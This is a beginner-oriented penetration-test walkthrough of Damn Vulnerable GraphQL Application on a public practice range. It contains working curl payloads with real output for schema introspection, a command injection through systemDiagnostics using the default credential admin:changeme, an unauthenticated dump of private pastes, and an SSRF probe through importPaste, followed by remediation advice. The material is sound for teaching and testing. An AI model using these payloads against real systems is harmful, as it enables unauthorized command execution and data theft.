What We Found — TL;DR

This is a walkthrough of a web app pentest against pentest-ground.com — a public security-testing practice range running Damn Vulnerable GraphQL Application (DVGA). This post takes you through every phase from the first introspection query to full remote code execution inside the app container.

What to expect reading this:

  • A GraphQL API with introspection left on (free schema dump, zero auth)
  • A pastes query that trusts a client-supplied visibility flag (private data leak)
  • A debug resolver with a raw cmd parameter and a weak default credential (instant RCE)
  • Step-by-step commands with real output at every stage
  • A full animated kill chain tying all findings together
⚡ Quick Summary — What Was Exploited
● CRITICAL OS Command Injection — systemDiagnostics(cmd) → full RCE · CWE-78 · OWASP A03
● CRITICAL Broken Access Control — pastes(public:false) unauth data leak · CWE-284 · OWASP A01 · WSTG-ATHZ-02
● HIGH SSRF — importPaste(host,port,scheme) attacker-controlled fetch · CWE-918 · OWASP A10
● MEDIUM GraphQL Introspection Enabled — full schema disclosure · CWE-200 · OWASP A05
● MEDIUM Unauthenticated Destructive Mutation — deleteAllPastes() exposed (documented, not executed)
● LOW Missing Security Headers / Insecure Cookie — no HSTS, cookie missing Secure/HttpOnly · CWE-614

Tools used in this walkthrough: nmap · wafw00f · testssl.sh · curl (manual GraphQL introspection/queries)

Skill level: Beginner-friendly — every command is explained.


Target
pentest-ground.com:5013
Environment
Lab
Framework
Web App (GraphQL)
Date
2026-08-29
2
CRITICAL
1
HIGH
2
MEDIUM
1
LOW
1
INFO

Phase 1 — Information Gathering

INFORMATION GATHERING — TARGET PROFILE
🎯 pentest-ground.com:5013
nginx / GraphQL
+
nginx/1.31.4
HTTP Headers
Set-Cookie: env=graphiql:disable
SSL/TLS
TLS 1.2/1.3 only — healthy config
Tech Stack
⚠ Damn Vulnerable GraphQL App (DVGA)

I started by fingerprinting the target at https://pentest-ground.com:5013/. Before touching anything active, I wanted to know what I was dealing with — server headers, TLS posture, and any obvious tells in a plain response.

$ curl -sk -D - https://pentest-ground.com:5013/
HTTP/1.1 200 OK Server: nginx/1.31.4 Content-Type: text/html; charset=utf-8 Set-Cookie: env=graphiql:disable; Path=/

That Set-Cookie: env=graphiql:disable is a dead giveaway — it’s the exact cookie DVGA (Damn Vulnerable GraphQL Application) uses to toggle its bundled GraphiQL IDE. Before sending a single crafted payload, I already knew the framework.

To confirm, I opened the app in a browser:

DVGA landing page confirming the framework The “Damn Vulnerable GraphQL Application” branding on the homepage confirms it outright — no guessing needed.

$ testssl.sh --headers --protocols --vulnerable pentest-ground.com:5013
TLS 1.2 offered (OK) TLS 1.3 offered (OK): final Strict Transport Security not offered Cookie(s) 1 issued: NOT secure, NOT HttpOnly Heartbleed / CCS / POODLE / CRIME / FREAK / DROWN / BEAST not vulnerable (OK) LUCKY13 (CVE-2013-0169), experimental potentially VULNERABLE, uses CBC ciphers

TLS itself was solid — no legacy protocol support, no classic downgrade bugs. But no HSTS and an insecure cookie went straight onto the findings list as low-severity hardening gaps.


Phase 2 — Reconnaissance

RECONNAISSANCE — GRAPHQL SCHEMA SURFACE
/graphql
systemDiagnostics(cmd) ⚠
importPaste(host,port)
pastes(public:false)
deleteAllPastes()
__schema introspection
search(keyword)

GraphQL doesn’t have “endpoints” the way REST does — everything hides behind one URL. So instead of directory brute-forcing, the move is a standard introspection query against /graphql.

$ curl -sk -X POST https://pentest-ground.com:5013/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ __schema { queryType { name } mutationType { name } types { name fields { name args { name } } } } } }"}'
Query: pastes(public, limit, filter), paste(id, title), systemUpdate, systemDiagnostics(username, password, cmd), systemDebug(arg), systemHealth, users(id), readAndBurn(id), search(keyword), audits, deleteAllPastes, me(token) Mutations: createPaste, editPaste, deletePaste, uploadPaste, importPaste(host, path, port, scheme), createUser, login

Same query, replayed live in the browser against the app’s own origin — same result, still zero authentication:

Unauthenticated GraphQL introspection query executed in-browser, dumping the full schema Every query and mutation the API exposes — systemDiagnostics, importPaste, deleteAllPastes — handed over before a single auth header was sent.

Unauthenticated, zero effort, and it handed over the entire attack surface. Three fields jumped out immediately: systemDiagnostics(cmd) (a raw command parameter next to a shell-shaped resolver), importPaste(host, port, scheme) (a textbook SSRF shape), and pastes(public) (a visibility flag controlled entirely by the caller).


Phase 3 — Scanning

PORT & SERVICE MAP (RECON ONLY — EXPLOITATION SCOPED TO :5013)
:80
http
:443
https
:5013
DVGA ⚠ (in scope)
:6379
OOS ⛔
:7001
OOS ⛔
:9000
OOS ⛔
$ nmap -sT -T4 pentest-ground.com -p 21,22,25,53,80,443,3306,3389,5432,5900,6379,8000,8080,8443,8888,9000,9090,9200,27017
PORT STATE SERVICE 80/tcp open http 443/tcp open https 6379/tcp open redis 9000/tcp open cslistener (remaining probed ports filtered/no-response)

A straight sequential -p- sweep across all 65535 ports tripped the host’s scan-rate protection and just hung — a good reminder that shared community targets often have anti-scan defenses. Switching to curated, non-sequential port batches got clean results instead. A separate batch confirmed 7001/tcp open as well. Per scope, only :5013 was authorized for vulnerability analysis and exploitation — everything else here is recon-only and was left untouched.

$ wafw00f https://pentest-ground.com:5013
[*] Checking https://pentest-ground.com:5013 [-] No WAF detected by the generic detection

No WAF in front of the app — nothing to bypass, nothing slowing down the requests that followed.


Phase 4 — Vulnerability Analysis

VULNERABILITY SHORTLIST — PRIORITISED
CRITICALOS Command Injection — systemDiagnostics(cmd)9.8
CRITICALBroken Access Control — pastes(public:false)8.6
HIGHSSRF — importPaste(host, path, port, scheme)7.5
MEDIUMGraphQL Introspection Enabled5.3
MEDIUMdeleteAllPastes() exposed, unauthenticated6.5

With the schema mapped, I categorised everything by what it could actually do if it worked. Two criticals stacked with a HIGH SSRF — that’s a full compromise chain from a single unauthenticated endpoint.


Phase 5 — Exploitation

F-001 — OS Command Injection via systemDiagnostics (Critical, CVSS 9.8)

Attacker
── admin:changeme ──▶
systemDiagnostics(cmd)
── shell exec ──▶
RCE ✓

systemDiagnostics(username, password, cmd) clearly gates on credentials before doing something — the question was which credentials. First, the obvious guess:

$ curl -sk https://pentest-ground.com:5013/graphql \ -H "Content-Type: application/json" \ -d '{"query":"query { systemDiagnostics(username: \"admin\", password: \"admin\", cmd: \"id\") }"}'
{"data":{"systemDiagnostics":"Password Incorrect"}}

“Password Incorrect” — not “Username Incorrect” — confirmed admin was a real username and the check was live, just guessable. A short, respectful pass through common lab default passwords (not a rockyou brute-force — this is a shared community box) landed a hit:

$ curl -sk https://pentest-ground.com:5013/graphql \ -H "Content-Type: application/json" \ -d '{"query":"query { systemDiagnostics(username: \"admin\", password: \"changeme\", cmd: \"id; hostname; pwd; whoami\") }"}'
{"data":{"systemDiagnostics":"uid=1000(dvga) gid=1000(dvga) groups=1000(dvga)\n595ad4a35012\n/opt/dvga\ndvga\n"}}

Replayed live in the browser to capture it in the act:

systemDiagnostics resolver executing the injected shell command live admin:changeme clears the credential check, then cmd runs straight through to a shell — uid=1000(dvga) back in the response.

That’s a shell result, not an error message. ; chaining worked cleanly, meaning cmd is handed straight to a shell rather than an argv array — full arbitrary command execution as the dvga user inside the container.


F-002 — Broken Access Control: Unauthenticated Private Paste Disclosure (Critical, CVSS 8.6)

Attacker (no auth)
── pastes(public:false) ──▶
GraphQL Resolver
── 200 OK ──▶
Private data leaked ✓

The pastes query takes a public boolean. The obvious question: does the server check who’s asking, or does it just trust the flag?

$ curl -sk https://pentest-ground.com:5013/graphql \ -H "Content-Type: application/json" \ -d '{"query":"query { pastes(public: false, limit: 10) { id title content public burn ipAddr owner { id name } } }"}'
{"data":{"pastes":[ {"id":"2","title":"555-555-1337","content":"My Phone Number","public":false,...}, {"id":"1","title":"Testing Testing","content":"My First Paste","public":false,...} ]}}

Captured live in the browser, no session established beforehand:

Unauthenticated pastes(public:false) query returning private paste content Two pastes flagged "public": false, phone number included, returned to a client that never authenticated.

No Authorization header. No session cookie. No login mutation called first — and it returned private data anyway. Any unauthenticated user can read every private paste in the system.


F-003 — SSRF via importPaste (High, CVSS 7.5)

Attacker
── host=127.0.0.1 ──▶
importPaste()
── blind fetch ──▶
504 timeout ✓

With RCE already confirmed, importPaste(host, path, port, scheme) was tested for completeness rather than as the primary path:

$ curl -sk https://pentest-ground.com:5013/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation { importPaste(host: \"127.0.0.1\", path: \"/\", port: 5013, scheme: \"http\") { result } }"}'
HTTP 504 Gateway Time-out (nginx)

Replayed live in the browser to capture the exact behavior:

importPaste mutation triggering a blind outbound request that hangs to a 504 The request hangs until the upstream proxy gives up — consistent with the backend trying to reach an attacker-chosen host with no destination validation.

The 504 is consistent with the backend making a blind outbound request to the attacker-supplied host:port and hanging past the upstream proxy timeout — the destination is fully attacker-controlled with no allow-list visible in behavior. Full out-of-band confirmation was intentionally not pushed further on this shared instance; the RCE above already demonstrates equal or greater internal-network reach.


Documented, Not Executed — deleteAllPastes()

The schema also exposes a zero-argument deleteAllPastes() mutation with the same missing-auth pattern as F-002. This was deliberately not run — the target is a shared public practice instance, and executing it would wipe data for every other person testing against it. It’s recorded as a finding from schema exposure plus the access-control pattern already proven above, not as an executed PoC.


Phase 6 — Post Exploitation

ACCESS TREE — WHAT WAS REACHABLE
⬛ RCE via systemDiagnostics → full container shell access
↳ uid=1000(dvga), hostname, /opt/dvga — container fingerprinted
⬛ BAC on pastes() → private paste content dumped, zero auth
↳ users() / search() schema also expose a password field (masked server-side)
⬛ SSRF via importPaste → attacker-controlled internal fetch (blind)

At this point the application is fully compromised from an unauthenticated starting position. Between the two criticals and the SSRF, an attacker would have: full arbitrary command execution inside the container; complete read access to every “private” paste in the system; and a blind internal-network fetch primitive that, combined with the RCE, gives equivalent reach to whatever else sits on that internal network.


Kill Chain

ATTACK FLOW — pentest-ground.com:5013 (DVGA)
MEDIUM · 5.3 GraphQL Introspection
🖥️
Attacker
no credentials
__schema query
🌐
/graphql
introspection on
full schema returned
🗺️
Attack Map
every field known

F-001 · CRITICAL · 9.8 Command Injection
🖥️
Attacker
admin:changeme
systemDiagnostics
🐚
Shell
cmd → shell=True
id; whoami
💻
Container RCE
uid=1000(dvga)

F-002 · CRITICAL · 8.6 Broken Access Control
👤
Anon User
no session
pastes(public:false)
📦
Resolver
trusts client flag
private rows returned
⚠️
Data Leak
PII exposed

F-003 · HIGH · 7.5 SSRF
🖥️
Attacker
host=127.0.0.1
importPaste()
🌐
Backend
no allow-list
blind fetch → 504
🔓
Internal Reach
confirmed via F-001
● 2 CRITICAL ● 1 HIGH ✓ 4 chains confirmed 1 documented, not executed

Key Takeaways

  • Introspection is a force-multiplier for every other bug on this list — it turned blind API testing into “read the schema, go straight to the interesting fields.”
  • Client-supplied flags (public: false) are not access control. Every access decision has to be re-derived server-side from who is actually asking.
  • A parameter literally named cmd next to a login-gated resolver is still worth testing — weak/default credentials on debug endpoints are common enough to justify a short, respectful guess list.
  • If your GraphQL API would be safe with introspection on, verbose errors on, and every filter client-trusted — you don’t need any of those safety nets, so turn them off anyway.

Remediation Summary

Finding Root Cause Fix
F-001 Command Injection cmd passed to a shell; weak hardcoded credential Remove debug resolvers from shared builds; use subprocess with an argument list, never shell=True; rotate credentials
F-002 Broken Access Control Visibility filter trusted from client Re-check ownership/session server-side for every record returned
F-003 SSRF No destination validation on importPaste Allow-list host/port/scheme; block loopback/link-local/RFC1918
GraphQL Introspection Left enabled outside dev Disable introspection and GraphiQL in any non-development environment
deleteAllPastes exposed No auth on a destructive mutation Require authentication + admin authorization + confirmation

Disclaimer

This assessment was conducted against pentest-ground.com, a public security-testing practice range, with authorization confirmed for this engagement and scope limited to port 5013. The deleteAllPastes() mutation identified in the schema was documented but deliberately not executed, out of consideration for other users of this shared instance. All techniques documented here are for educational purposes only. Do not replicate against systems you don’t own or have explicit permission to test.


☕ Buy Me a Coffee


Generated with BlackOps — SweshInfoSec